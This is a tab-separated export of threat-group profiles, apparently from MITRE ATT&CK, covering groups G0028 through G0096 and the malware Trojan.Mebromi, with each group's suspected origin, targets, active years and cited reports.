G0028	3	Group	Threat Group-1314	[Threat Group-1314](https://attack.mitre.org/groups/G0028) is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)							https://attack.mitre.org/groups/G0028
G0029	3	Group	Scarlet Mimic	[Scarlet Mimic](https://attack.mitre.org/groups/G0029) is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029) and [Putter Panda](https://attack.mitre.org/groups/G0024), it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)							https://attack.mitre.org/groups/G0029
G0030	3	Group	Lotus Blossom	[Lotus Blossom](https://attack.mitre.org/groups/G0030) is a threat group that has targeted government and military organizations in Southeast Asia. (Citation: Lotus Blossom Jun 2015)							https://attack.mitre.org/groups/G0030
G0031	3	Group	Dust Storm	[Dust Storm](https://attack.mitre.org/groups/G0031) is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)							https://attack.mitre.org/groups/G0031

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
G0032	3	Group	Lazarus Group	[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.							https://attack.mitre.org/groups/G0032
G0033	3	Group	Poseidon Group	[Poseidon Group](https://attack.mitre.org/groups/G0033) is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the [Poseidon Group](https://attack.mitre.org/groups/G0033) as a security firm. (Citation: Kaspersky Poseidon Group)							https://attack.mitre.org/groups/G0033
G0034	3	Group	Sandworm Team	[Sandworm Team](https://attack.mitre.org/groups/G0034) is a Russian cyber espionage group that has operated since approximately 2009. The group likely consists of Russian pro-hacktivists. [Sandworm Team](https://attack.mitre.org/groups/G0034) targets mainly Ukrainian entities associated with energy, industrial control systems, SCADA, government, and media. [Sandworm Team](https://attack.mitre.org/groups/G0034) has been linked to the Ukrainian energy sector attack in late 2015. (Citation: iSIGHT Sandworm 2014) (Citation: CrowdStrike VOODOO BEAR)							https://attack.mitre.org/groups/G0034
G0035	3	Group	Dragonfly	[Dragonfly](https://attack.mitre.org/groups/G0035) is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. (Citation: Symantec Dragonfly) A similar group emerged in 2015 and was identified by Symantec as [Dragonfly 2.0](https://attack.mitre.org/groups/G0074). There is debate over the extent of the overlap between [Dragonfly](https://attack.mitre.org/groups/G0035) and [Dragonfly 2.0](https://attack.mitre.org/groups/G0074), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Symantec Dragonfly Sept 2017) (Citation: Fortune Dragonfly 2.0 Sept 2017)							https://attack.mitre.org/groups/G0035
G0036	3	Group	GCMAN	[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)							https://attack.mitre.org/groups/G0036
G0037	3	Group	FIN6	[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)							https://attack.mitre.org/groups/G0037
G0038	3	Group	Stealth Falcon	[Stealth Falcon](https://attack.mitre.org/groups/G0038) is a threat group that has conducted targeted spyware attacks against Emirati journalists, activists, and dissidents since at least 2012. Circumstantial evidence suggests there could be a link between this group and the United Arab Emirates (UAE) government, but that has not been confirmed. (Citation: Citizen Lab Stealth Falcon May 2016)							https://attack.mitre.org/groups/G0038
G0039	3	Group	Suckfly	[Suckfly](https://attack.mitre.org/groups/G0039) is a China-based threat group that has been active since at least 2014. (Citation: Symantec Suckfly March 2016)							https://attack.mitre.org/groups/G0039
G0040	3	Group	Patchwork	[Patchwork](https://attack.mitre.org/groups/G0040) is a cyberespionage group that was first observed in December 2015. While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)							https://attack.mitre.org/groups/G0040
G0041	3	Group	Strider	[Strider](https://attack.mitre.org/groups/G0041) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda. (Citation: Symantec Strider Blog) (Citation: Kaspersky ProjectSauron Blog)							https://attack.mitre.org/groups/G0041
G0042	3	Group	MONSOON								https://attack.mitre.org/groups/G0042
G0043	3	Group	Group5	[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)							https://attack.mitre.org/groups/G0043
G0044	3	Group	Winnti Group	[Winnti Group](https://attack.mitre.org/groups/G0044) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015) Some reporting suggests a number of other groups, including [Axiom](https://attack.mitre.org/groups/G0001), [APT17](https://attack.mitre.org/groups/G0025), and [Ke3chang](https://attack.mitre.org/groups/G0004), are closely linked to [Winnti Group](https://attack.mitre.org/groups/G0044). (Citation: 401 TRG Winnti Umbrella May 2018)							https://attack.mitre.org/groups/G0044
G0045	3	Group	menuPass	[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that appears to originate from China and has been active since approximately 2009. The group has targeted healthcare, defense, aerospace, and government sectors, and has targeted Japanese victims since at least 2014. In 2016 and 2017, the group targeted managed IT service providers, manufacturing and mining companies, and a university. (Citation: Palo Alto menuPass Feb 2017) (Citation: Crowdstrike CrowdCast Oct 2013) (Citation: FireEye Poison Ivy) (Citation: PWC Cloud Hopper April 2017) (Citation: FireEye APT10 April 2017) (Citation: DOJ APT10 Dec 2018)							https://attack.mitre.org/groups/G0045
G0046	3	Group	FIN7	[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)							https://attack.mitre.org/groups/G0046
G0047	3	Group	Gamaredon Group	[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)							https://attack.mitre.org/groups/G0047

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
G0048	3	Group	RTM	[RTM](https://attack.mitre.org/groups/G0048) is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name ([RTM](https://attack.mitre.org/software/S0148)). (Citation: ESET RTM Feb 2017)							https://attack.mitre.org/groups/G0048
G0049	3	Group	OilRig	[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018) This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity.							https://attack.mitre.org/groups/G0049
G0050	3	Group	APT32	[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)							https://attack.mitre.org/groups/G0050
G0051	3	Group	FIN10	[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)							https://attack.mitre.org/groups/G0051
G0052	3	Group	CopyKittens	[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)							https://attack.mitre.org/groups/G0052
G0053	3	Group	FIN5	[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)							https://attack.mitre.org/groups/G0053
G0054	3	Group	Sowbug	[Sowbug](https://attack.mitre.org/groups/G0054) is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)							https://attack.mitre.org/groups/G0054
G0055	3	Group	NEODYMIUM	[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)							https://attack.mitre.org/groups/G0055
G0056	3	Group	PROMETHIUM	[PROMETHIUM](https://attack.mitre.org/groups/G0056) is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims. [PROMETHIUM](https://attack.mitre.org/groups/G0056) has demonstrated similarity to another activity group called [NEODYMIUM](https://attack.mitre.org/groups/G0055) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)							https://attack.mitre.org/groups/G0056
G0057	3	Group	APT34								https://attack.mitre.org/groups/G0057
G0058	3	Group	Charming Kitten	[Charming Kitten](https://attack.mitre.org/groups/G0058) is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK. [Charming Kitten](https://attack.mitre.org/groups/G0058) usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, [Magic Hound](https://attack.mitre.org/groups/G0059), resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)							https://attack.mitre.org/groups/G0058
G0059	3	Group	Magic Hound	[Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group operating primarily in the Middle East that dates back as early as 2014. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018)							https://attack.mitre.org/groups/G0059
G0060	3	Group	BRONZE BUTLER	[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)							https://attack.mitre.org/groups/G0060
G0061	3	Group	FIN8	[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)							https://attack.mitre.org/groups/G0061
G0062	3	Group	TA459	[TA459](https://attack.mitre.org/groups/G0062) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. (Citation: Proofpoint TA459 April 2017)							https://attack.mitre.org/groups/G0062
G0063	3	Group	BlackOasis	[BlackOasis](https://attack.mitre.org/groups/G0063) is a Middle Eastern threat group that is believed to be a customer of Gamma Group. The group has shown interest in prominent figures in the United Nations, as well as opposition bloggers, activists, regional news correspondents, and think tanks. (Citation: Securelist BlackOasis Oct 2017) (Citation: Securelist APT Trends Q2 2017) A group known by Microsoft as [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)							https://attack.mitre.org/groups/G0063
G0064	3	Group	APT33	[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)							https://attack.mitre.org/groups/G0064
G0065	3	Group	Leviathan	[Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)							https://attack.mitre.org/groups/G0065

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
G0066	3	Group	Elderwood	[Elderwood](https://attack.mitre.org/groups/G0066) is a suspected Chinese cyber espionage group that was reportedly responsible for the 2009 Google intrusion known as Operation Aurora. (Citation: Security Affairs Elderwood Sept 2012) The group has targeted defense organizations, supply chain manufacturers, human rights and nongovernmental organizations (NGOs), and IT service providers. (Citation: Symantec Elderwood Sept 2012) (Citation: CSM Elderwood Sept 2012)							https://attack.mitre.org/groups/G0066
G0067	3	Group	APT37	[APT37](https://attack.mitre.org/groups/G0067) is a suspected North Korean cyber espionage group that has been active since at least 2012. The group has targeted victims primarily in South Korea, but also in Japan, Vietnam, Russia, Nepal, China, India, Romania, Kuwait, and other parts of the Middle East. [APT37](https://attack.mitre.org/groups/G0067) has also been linked to following campaigns between 2016-2018: Operation Daybreak, Operation Erebus, Golden Time, Evil New Year, Are you Happy?, FreeMilk, Northern Korean Human Rights, and Evil New Year 2018. (Citation: FireEye APT37 Feb 2018) (Citation: Securelist ScarCruft Jun 2016) (Citation: Talos Group123) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.							https://attack.mitre.org/groups/G0067
G0068	3	Group	PLATINUM	[PLATINUM](https://attack.mitre.org/groups/G0068) is an activity group that has targeted victims since at least 2009. The group has focused on targets associated with governments and related organizations in South and Southeast Asia. (Citation: Microsoft PLATINUM April 2016)							https://attack.mitre.org/groups/G0068
G0069	3	Group	MuddyWater	[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)							https://attack.mitre.org/groups/G0069
G0070	3	Group	Dark Caracal	[Dark Caracal](https://attack.mitre.org/groups/G0070) is threat group that has been attributed to the Lebanese General Directorate of General Security (GDGS) and has operated since at least 2012. (Citation: Lookout Dark Caracal Jan 2018)							https://attack.mitre.org/groups/G0070
G0071	3	Group	Orangeworm	[Orangeworm](https://attack.mitre.org/groups/G0071) is a group that has targeted organizations in the healthcare sector in the United States, Europe, and Asia since at least 2015, likely for the purpose of corporate espionage. (Citation: Symantec Orangeworm April 2018)							https://attack.mitre.org/groups/G0071
G0072	3	Group	Honeybee	[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japans, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)							https://attack.mitre.org/groups/G0072
G0073	3	Group	APT19	[APT19](https://attack.mitre.org/groups/G0073) is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. (Citation: FireEye APT19) Some analysts track [APT19](https://attack.mitre.org/groups/G0073) and [Deep Panda](https://attack.mitre.org/groups/G0009) as the same group, but it is unclear from open source information if the groups are the same. (Citation: ICIT China's Espionage Jul 2016) (Citation: FireEye APT Groups) (Citation: Unit 42 C0d0so0 Jan 2016)							https://attack.mitre.org/groups/G0073
G0074	3	Group	Dragonfly 2.0	[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)							https://attack.mitre.org/groups/G0074
G0075	3	Group	Rancor	[Rancor](https://attack.mitre.org/groups/G0075) is a threat group that has led targeted campaigns against the South East Asia region. [Rancor](https://attack.mitre.org/groups/G0075) uses politically-motivated lures to entice victims to open malicious documents. (Citation: Rancor Unit42 June 2018)							https://attack.mitre.org/groups/G0075
G0076	3	Group	Thrip	[Thrip](https://attack.mitre.org/groups/G0076) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as "living off the land" techniques. (Citation: Symantec Thrip June 2018)							https://attack.mitre.org/groups/G0076
G0077	3	Group	Leafminer	[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)							https://attack.mitre.org/groups/G0077
G0078	3	Group	Gorgon Group	[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)							https://attack.mitre.org/groups/G0078
G0079	3	Group	DarkHydrus	[DarkHydrus](https://attack.mitre.org/groups/G0079) is a threat group that has targeted government agencies and educational institutions in the Middle East since at least 2016. The group heavily leverages open-source tools and custom payloads for carrying out attacks. (Citation: Unit 42 DarkHydrus July 2018) (Citation: Unit 42 Playbook Dec 2017)							https://attack.mitre.org/groups/G0079
G0080	3	Group	Cobalt Group	[Cobalt Group](https://attack.mitre.org/groups/G0080) is a financially motivated threat group that has primarily targeted financial institutions. The group has conducted intrusions to steal money via targeting ATM systems, card processing, payment systems and SWIFT systems. [Cobalt Group](https://attack.mitre.org/groups/G0080) has mainly targeted banks in Eastern Europe, Central Asia, and Southeast Asia. One of the alleged leaders was arrested in Spain in early 2018, but the group still appears to be active. The group has been known to target organizations in order to use their access to then compromise additional victims. (Citation: Talos Cobalt Group July 2018) (Citation: PTSecurity Cobalt Group Aug 2017) (Citation: PTSecurity Cobalt Dec 2016) (Citation: Group IB Cobalt Aug 2017) (Citation: Proofpoint Cobalt June 2017) (Citation: RiskIQ Cobalt Nov 2017) (Citation: RiskIQ Cobalt Jan 2018) Reporting indicates there may be links between [Cobalt Group](https://attack.mitre.org/groups/G0080) and both the malware [Carbanak](https://attack.mitre.org/software/S0030) and the group [Carbanak](https://attack.mitre.org/groups/G0008). (Citation: Europol Cobalt Mar 2018)							https://attack.mitre.org/groups/G0080
G0081	3	Group	Tropic Trooper	[Tropic Trooper](https://attack.mitre.org/groups/G0081) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://attack.mitre.org/groups/G0081) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: Unit 42 Tropic Trooper Nov 2016)							https://attack.mitre.org/groups/G0081

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
G0082	3	Group	APT38	[APT38](https://attack.mitre.org/groups/G0082) is a financially-motivated threat group that is backed by the North Korean regime. The group mainly targets banks and financial institutions and has targeted more than 16 organizations in at least 13 countries since at least 2014.(Citation: FireEye APT38 Oct 2018) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.							https://attack.mitre.org/groups/G0082
G0083	3	Group	SilverTerrier	[SilverTerrier](https://attack.mitre.org/groups/G0083) is a Nigerian threat group that has been seen active since 2014. [SilverTerrier](https://attack.mitre.org/groups/G0083) mainly targets organizations in high technology, higher education, and manufacturing.(Citation: Unit42 SilverTerrier 2018)(Citation: Unit42 SilverTerrier 2016)							https://attack.mitre.org/groups/G0083
G0084	3	Group	Gallmaker	[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)							https://attack.mitre.org/groups/G0084
G0085	3	Group	FIN4	[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)							https://attack.mitre.org/groups/G0085
G0086	3	Group	Stolen Pencil	[Stolen Pencil](https://attack.mitre.org/groups/G0086) is a threat group likely originating from DPRK that has been active since at least May 2018. The group appears to have targeted academic institutions, but its motives remain unclear.(Citation: Netscout Stolen Pencil Dec 2018)							https://attack.mitre.org/groups/G0086
G0087	3	Group	APT39	[APT39](https://attack.mitre.org/groups/G0087) is an Iranian cyber espionage group that has been active since at least 2014. They have targeted the telecommunication and travel industries to collect personal information that aligns with Iran's national priorities. (Citation: FireEye APT39 Jan 2019)(Citation: Symantec Chafer Dec 2015)							https://attack.mitre.org/groups/G0087
G0088	3	Group	TEMP.Veles	[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)							https://attack.mitre.org/groups/G0088
G0089	3	Group	The White Company	[The White Company](https://attack.mitre.org/groups/G0089) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.(Citation: Cylance Shaheen Nov 2018)							https://attack.mitre.org/groups/G0089
G0090	3	Group	WIRTE	[WIRTE](https://attack.mitre.org/groups/G0090) is a threat group that has been active since at least August 2018. The group focuses on targeting Middle East defense and diplomats.(Citation: Lab52 WIRTE Apr 2019)							https://attack.mitre.org/groups/G0090
G0091	3	Group	Silence	[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing. (Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017)							https://attack.mitre.org/groups/G0091
G0092	3	Group	TA505	[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)							https://attack.mitre.org/groups/G0092
G0093	3	Group	Soft Cell	Operation [Soft Cell](https://attack.mitre.org/groups/G0093) is a group that is reportedly affiliated with China and is likely state-sponsored. The group has operated since at least 2012 and has compromised high-profile telecommunications networks.(Citation: Cybereason Soft Cell June 2019)							https://attack.mitre.org/groups/G0093
G0094	3	Group	Kimsuky	[Kimsuky](https://attack.mitre.org/groups/G0094) is a North Korean-based threat group that has been active since at least September 2013. The group focuses on targeting Korean think tank as well as DPRK/nuclear-related targets. The group was attributed as the actor behind the Korea Hydro & Nuclear Power Co. compromise.(Citation: EST Kimsuky April 2019)(Citation: BRI Kimsuky April 2019)							https://attack.mitre.org/groups/G0094
G0095	3	Group	Machete	[Machete](https://attack.mitre.org/groups/G0095) is a group that has been active since at least 2010, targeting high-profile government entities in Latin American countries.(Citation: Cylance Machete Mar 2017)(Citation: Securelist Machete Aug 2014)(Citation: ESET Machete July 2019)							https://attack.mitre.org/groups/G0095
G0096	3	Group	APT41	[APT41](https://attack.mitre.org/groups/G0096) is a group that carries out Chinese state-sponsored espionage activity in addition to financially motivated activity. [APT41](https://attack.mitre.org/groups/G0096) has been active since as early as 2012. The group has been observed targeting healthcare, telecom, technology, and video game industries in 14 countries.(Citation: FireEye APT41 Aug 2019)							https://attack.mitre.org/groups/G0096
S0001	4	Software	Trojan.Mebromi	[Trojan.Mebromi](https://attack.mitre.org/software/S0001) is BIOS-level malware that takes control of the victim before MBR. (Citation: Ge 2011)					Windows		https://attack.mitre.org/software/S0001
